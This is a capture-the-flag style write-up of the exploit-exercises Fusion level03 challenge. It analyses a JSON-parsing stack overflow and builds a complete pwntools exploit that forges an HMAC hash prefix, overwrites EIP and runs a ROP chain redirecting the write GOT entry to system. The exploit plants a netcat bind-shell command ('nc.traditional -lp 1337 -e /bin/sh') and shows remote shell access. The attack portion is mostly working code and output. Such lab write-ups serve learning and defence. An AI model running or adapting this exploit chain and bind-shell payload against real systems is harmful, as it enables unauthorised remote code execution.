This level of exploit-exercises was a wee bit more difficult than the previous one, half of the exercise was to understand how the program works and where we can exploit it.

The source code of the exercise can be found at exploit-exercises.com.

The “About” section of the challenge is:

This level introduces partial hash collisions (hashcash) and more stack corruption Fusion level03 description

Let’s starts by looking at the source code.

Static analysis

Here is a summary of what each function does:

  • generate_token()

    Generate a token. How the token is generated doesn’t really matter.

  • send_token()

    Send the token that we’ll have to send back.

  • read_request()

    Read from stdin (which is connected to the socket via dup2) while EOF.
    It also closes stdin, stdout and stderr.

  • validate_request()

    Verify if the received data begins with the token.
    Then computes the HMAC-SHA1 of the received data using the token as the key.
    Here something draws attention. It performs a bitwise OR between the first two bytes of the computed hash. If the result is different from 0, the program exits.
    We now know that we will have to send data such as the HMAC-SHA1 starts with ‘0000’.

  • parse_request()

    Create a json object from the received data.

  • handle_request()

    Initialize two buffers (our buffer overflow is certainly here) and one array of buffers.
    Has a nested function that iterates through each key-value pairs of the json object.
    “tags” is the first key, and it value(s) should be in an array.
    Then “title”, calls decode_string() with its value and the local buffer “title”.
    Same for “contents”.
    Ends with “serverip” which is directly put in a global variable.

  • decode_string(const char *src, unsigned char *dest, int *dest_len)

    Called in handle_request().
    Gets value of a json key, a buffer and len(buffer).
    It goes through the buffer and checks for certain sequences of characters (\t, \b…).
    But, when it checks for unicode “\u”, the “dest” variable is incremented two times. However, the while loop condition is “while(*src && dest != end)”. If “\u” is at len(buffer)-1, “dest” will be higher than “end” (wich is equal to *buffer + sizeof(buffer)). Thus, the buffer overflow is here and can be generated with the “title” or “contents” json values.

  • post_blog_article()

    Send a POST request to “serverip”. We don’t have to care much about this function since our buffer overflow will be triggered when handle_request() will return.

Now that we have an understanding of the program, we can construct our exploitation script.

Construct the right hash

We have to pass the validate_request function first. To do so, we have to send data that will have a HMAC-SHA1 hash starting with “0000”. The beginning of our exploitation script will be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python2
import hmac
from hashlib import sha1
from pwn import *
import json, random, string

#Connection to the host
c = remote('192.168.56.101',20003)

#Get token
token = c.recvline().split('"')[1]
log.info("Token: " + token)

while(True):

    title = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(100)])
    #"tags" value is an array
    msg = json.dumps({"tags":("A"), "title":title, "contents":contents,
                        "serverip":"192.168.56.1:80"}, ensure_ascii=False)

    #'\n' between token and json for json_tokener_parse function to work (inside parse_request())
    payload = token + "\n" + msg

    hashed = hmac.new(bytearray(token), bytearray(payload), sha1)

    if(hashed.hexdigest().startswith('0000')):
        log.info("Payload: " + payload)
        break

c.send(payload)

log.info("Payload sent!")

Here we generate radom characters and digits in the “title” json value to generate a different hash each iteration of the while loop, and we break when the hash starts with “0000”.

Now we can overwrite EIP.

Overwriting EIP

As we say, to create the buffer overflow the last character of “title” or “contents” json values must be “\u”. We will use the “title” json value. The “title” buffer in handle_request is 129 bytes long because we start at 0 (title[128], so from 0 to 128). Thus, if we place “\u” at the position 128 in the “title” json value, the “dest” variable will be incremented from title[127] to title[129] and the while loop will continue (because “end” points on title[128]).

We also have to find how many bytes there is between the title[128] buffer and EIP. Since I hardly understand why title[128] is not just behind EBP and EIP on the stack, we will use a pattern to overwrite EIP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python2
import hmac
from hashlib import sha1
from pwn import *
import json, random, string

#Connection to the host
c = remote('192.168.56.101',20003)

#Get token
token = c.recvline().split('"')[1]
log.info("Token: " + token)

#Pattern
pattern = cyclic(100, alphabet=string.ascii_uppercase)

while(True):

    title = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(100)])
    #"tags" value is an array
    #'\\u1111' because of the 'src += 4;'
    msg = json.dumps({"tags":("A"), "title":title+'A'*27+'\\u1111'+pattern, "contents":contents,
                        "serverip":"192.168.56.1:80"}, ensure_ascii=False)

    #'\n' between token and json for json_tokener_parse function to work (inside parse_request())
    payload = token + "\n" + msg

    hashed = hmac.new(bytearray(token), bytearray(payload), sha1)

    if(hashed.hexdigest().startswith('0000')):
        log.info("Payload: " + payload)
        break

c.send(payload)

log.info("Payload sent!")
log.info("Pattern: " + pattern)

* And when started, we get:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2042]
0x41414941 in ?? ()
(gdb)

0x41414941 is AAIA (because endianess). EIP is thus overwritten at the offset 31 of the pattern.

ROP time

Since the stack isn’t executable, we have to go for a ROP chain. We could have constructed a ret2libc attack exactly like with level02 (using the direct address of system in the libc). The problem with this is that it requires to know where is mapped the libc (with cat /proc/PID/maps for example). Thus, not very effective.

Instead, we’re gonna construct a ROP chain with gadgets from the binary. After retrieving the binary on my host machine, a quick ROPgadget on it reveals some useful gadgets. The plan is to write the GOT to make an entry point on system, so that when the function which belongs to this entry will be called, it will in fact execute the system function. Since the distance between two libc function is the same, we will have to add (or substract) this distance to the GOT entry of the legitimate function.

That will make our exploit working even with ASLR (when the libc is mapped to a different location at each binary execution).

More information about the GOT in this really helpful and clear article.

So first, we have to choose a GOT entry:

└───▶ readelf --relocs level03

Section de réadressage '.rel.dyn' à l'adresse de décalage 0x9e4 contient 4 entrées:
 Décalage   Info    Type            Val.-sym   Noms-symboles
0804bcc0  00000e06 R_386_GLOB_DAT    00000000   __gmon_start__
0804bdc0  00003e05 R_386_COPY        0804bdc0   stderr@GLIBC_2.0
0804bdc4  00004005 R_386_COPY        0804bdc4   stdin@GLIBC_2.0
0804bde0  00003b05 R_386_COPY        0804bde0   stdout@GLIBC_2.0

Section de réadressage '.rel.plt' à l'adresse de décalage 0xa04 contient 56 entrées:
 Décalage   Info    Type            Val.-sym   Noms-symboles
0804bcd0  00000107 R_386_JUMP_SLOT   00000000   __errno_location@GLIBC_2.0
0804bcd4  00000207 R_386_JUMP_SLOT   00000000   srand@GLIBC_2.0
0804bcd8  00000307 R_386_JUMP_SLOT   00000000   open@GLIBC_2.0
0804bcdc  00000407 R_386_JUMP_SLOT   00000000   connect@GLIBC_2.0
0804bce0  00000507 R_386_JUMP_SLOT   00000000   setgroups@GLIBC_2.0
0804bce4  00000607 R_386_JUMP_SLOT   00000000   getpid@GLIBC_2.0
0804bce8  00000707 R_386_JUMP_SLOT   00000000   strerror@GLIBC_2.0
0804bcec  00000807 R_386_JUMP_SLOT   00000000   daemon@GLIBC_2.0
0804bcf0  00000907 R_386_JUMP_SLOT   00000000   inet_ntoa@GLIBC_2.0
0804bcf4  00000a07 R_386_JUMP_SLOT   00000000   json_object_array_leng
0804bcf8  00000b07 R_386_JUMP_SLOT   00000000   err@GLIBC_2.0
0804bcfc  00000c07 R_386_JUMP_SLOT   00000000   __fprintf_chk@GLIBC_2.3.4
0804bd00  00000d07 R_386_JUMP_SLOT   00000000   signal@GLIBC_2.0
0804bd04  00000e07 R_386_JUMP_SLOT   00000000   __gmon_start__
0804bd08  00001007 R_386_JUMP_SLOT   00000000   realloc@GLIBC_2.0
0804bd0c  00001107 R_386_JUMP_SLOT   00000000   __printf_chk@GLIBC_2.3.4
0804bd10  00001207 R_386_JUMP_SLOT   00000000   strchr@GLIBC_2.0
0804bd14  00001307 R_386_JUMP_SLOT   00000000   calloc@GLIBC_2.0
0804bd18  00001407 R_386_JUMP_SLOT   00000000   inet_addr@GLIBC_2.0
0804bd1c  00001507 R_386_JUMP_SLOT   00000000   write@GLIBC_2.0
0804bd20  00001607 R_386_JUMP_SLOT   00000000   HMAC@OPENSSL_1.0.0
0804bd24  00001707 R_386_JUMP_SLOT   00000000   listen@GLIBC_2.0
0804bd28  00001807 R_386_JUMP_SLOT   00000000   json_object_array_get_
0804bd2c  00001907 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804bd30  00001a07 R_386_JUMP_SLOT   00000000   wait@GLIBC_2.0
0804bd34  00001b07 R_386_JUMP_SLOT   00000000   json_object_get_string
0804bd38  00001c07 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804bd3c  00001d07 R_386_JUMP_SLOT   00000000   strtol@GLIBC_2.0
0804bd40  00001e07 R_386_JUMP_SLOT   00000000   setresuid@GLIBC_2.0
0804bd44  00001f07 R_386_JUMP_SLOT   00000000   __asprintf_chk@GLIBC_2.8
0804bd48  00002007 R_386_JUMP_SLOT   00000000   setresgid@GLIBC_2.0
0804bd4c  00002107 R_386_JUMP_SLOT   00000000   json_object_get_object
0804bd50  00002207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
0804bd54  00002307 R_386_JUMP_SLOT   00000000   accept@GLIBC_2.0
0804bd58  00002407 R_386_JUMP_SLOT   00000000   json_tokener_parse
0804bd5c  00002507 R_386_JUMP_SLOT   00000000   socket@GLIBC_2.0
0804bd60  00002607 R_386_JUMP_SLOT   00000000   dup2@GLIBC_2.0
0804bd64  00002707 R_386_JUMP_SLOT   00000000   memcpy@GLIBC_2.0
0804bd68  00002807 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0
0804bd6c  00002907 R_386_JUMP_SLOT   00000000   getppid@GLIBC_2.0
0804bd70  00002a07 R_386_JUMP_SLOT   00000000   EVP_sha1@OPENSSL_1.0.0
0804bd74  00002b07 R_386_JUMP_SLOT   00000000   bind@GLIBC_2.0
0804bd78  00002c07 R_386_JUMP_SLOT   00000000   errx@GLIBC_2.0
0804bd7c  00002d07 R_386_JUMP_SLOT   00000000   close@GLIBC_2.0
0804bd80  00002e07 R_386_JUMP_SLOT   00000000   time@GLIBC_2.0
0804bd84  00002f07 R_386_JUMP_SLOT   00000000   setvbuf@GLIBC_2.0
0804bd88  00003007 R_386_JUMP_SLOT   00000000   malloc@GLIBC_2.0
0804bd8c  00003107 R_386_JUMP_SLOT   00000000   setrlimit@GLIBC_2.2
0804bd90  00003207 R_386_JUMP_SLOT   00000000   fork@GLIBC_2.0
0804bd94  00003307 R_386_JUMP_SLOT   00000000   setsockopt@GLIBC_2.0
0804bd98  00003407 R_386_JUMP_SLOT   00000000   rand@GLIBC_2.0
0804bd9c  00003507 R_386_JUMP_SLOT   00000000   __sprintf_chk@GLIBC_2.3.4
0804bda0  00003607 R_386_JUMP_SLOT   00000000   strncmp@GLIBC_2.0
0804bda4  00003707 R_386_JUMP_SLOT   00000000   __snprintf_chk@GLIBC_2.3.4
0804bda8  00003807 R_386_JUMP_SLOT   00000000   getpeername@GLIBC_2.0
0804bdac  00003907 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0

I choose the write function. “0804bd1c” is the value that points to the address of write in the libc.

Next, we want write and system offset in the libc:

root@fusion:~# objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "system"
...
0003cb20 <__libc_system>:
...
root@fusion:~# objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "write"
...
000c12c0 <__write>:
...

The distance between write and system is 0x847a0. We can now start writing our ROP chain. We want [0x0804bd1c] = [0x0804bd1c] - 0x847a0. With the gadgets retrieved with ROPgadget I didn’t find any suitable substract operand so I converted 0x847a0 to negative which is 0xfff7b860 so that we now want 0x0804bd1c] = [0x0804bd1c] + 0xfff7b860.

A ROP chain is:

+ 0x08048bf0 # pop ebx, ret => we put the value of GOT[write] (0x0804bd1c) into ebp
+ 0xaaa9b858 # 0x0804bd1c - 0x5d5b04c4 => because of the add dword ptr [ebx + 0x5d5b04c4]
+ 0x08049b4f # pop eax ; add esp, 0x5c ; ret => we put 0xfff7b860 in eax (distance between write and system)
+ 0xfff7b860
+ 'A'*0x5c   # because of add esp, 0x5c
+ 0x080493fe # add dword ptr [ebx + 0x5d5b04c4], eax ; ret => we write [0x0804bd1c] = [0x0804bd1c] - 0x847a0
+ 0x08048d40 # write PLT => then we call write@plt which will jump to the right GOT entry, and thus to system
+ 0x08048f80 # exit PLT => to properly exit, called when system returns
+ 0x0804d058 # [gContents] => argument for **system**

To find the address of exit and write in the PLT, this command has been used:

objdump -d /opt/fusion/bin/level03 | grep "<exit@plt>"

Also, to find where the data in gContents is stored:

(gdb) b system
Breakpoint 1 at 0xb7ce5b20: file ../sysdeps/posix/system.c, line 179.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/fusion/bin/level03
[New process 2527]
[New process 2531]
[Switching to process 2531]

Breakpoint 1, __libc_system (line=0x804d058 'A' <repeats 200 times>...)
    at ../sysdeps/posix/system.c:179
179	../sysdeps/posix/system.c: No such file or directory.
	in ../sysdeps/posix/system.c
(gdb) p gContents
$1 = (unsigned char *) 0x804d058 'A' <repeats 200 times>...

We can now write every command we want in the gContents variable, so in the “contents” json value. We will start a listening shell with netcat:

/bin/nc.traditional -lp 1337 -e /bin/sh

The final exploit is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python2
import hmac
from hashlib import sha1
from pwn import *
import json, random, string

#Connection to the host
c = remote('192.168.56.101',20003)

#Get token
token = c.recvline().split('"')[1]
log.info("Token: " + token)

rop=""
rop += p32(0x08048bf0) # pop ebx, ret
rop += p32(0xaaa9b858) # 0x0804bd1c - 0x5d5b04c4
rop += p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret
rop += p32(0xfff7b860)
rop += 'A'*0x5c        # because of add esp, 0x5c
rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret
rop += p32(0x08048d40) # write PLT
rop += p32(0x08048f80) # exit PLT => objdump -d /opt/fusion/bin/level03 | grep "<exit@plt>"
#rop += p32(0x0804bdf4) # gContents => objdump -t /opt/fusion/bin/level03
rop += p32(0x0804d058) # [gContents]

#In case gContents address change, we add a lot of /
contents = '/'*400 + 'bin/nc.traditional -lp 1337 -e /bin/sh'

#Generate a request that have the first 2 bytes equal 0.
while(True):

    title = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(100)])
    msg = json.dumps({"tags":("A"), "title":title+'A'*27+'\\u1111'+'A'*31 + rop, "contents":contents,
                        "serverip":"192.168.56.1:80"}, ensure_ascii=False)

    payload = token + "\n" + msg

    hashed = hmac.new(bytearray(token), bytearray(payload), sha1)

    if(hashed.hexdigest().startswith('0000')):
        log.info("Payload: " + payload)
        break

c.send(payload)

log.info("Payload sent!")

*

Finally:

└───▶ nc 192.168.56.101 1337
id
uid=20003 gid=20003 groups=20003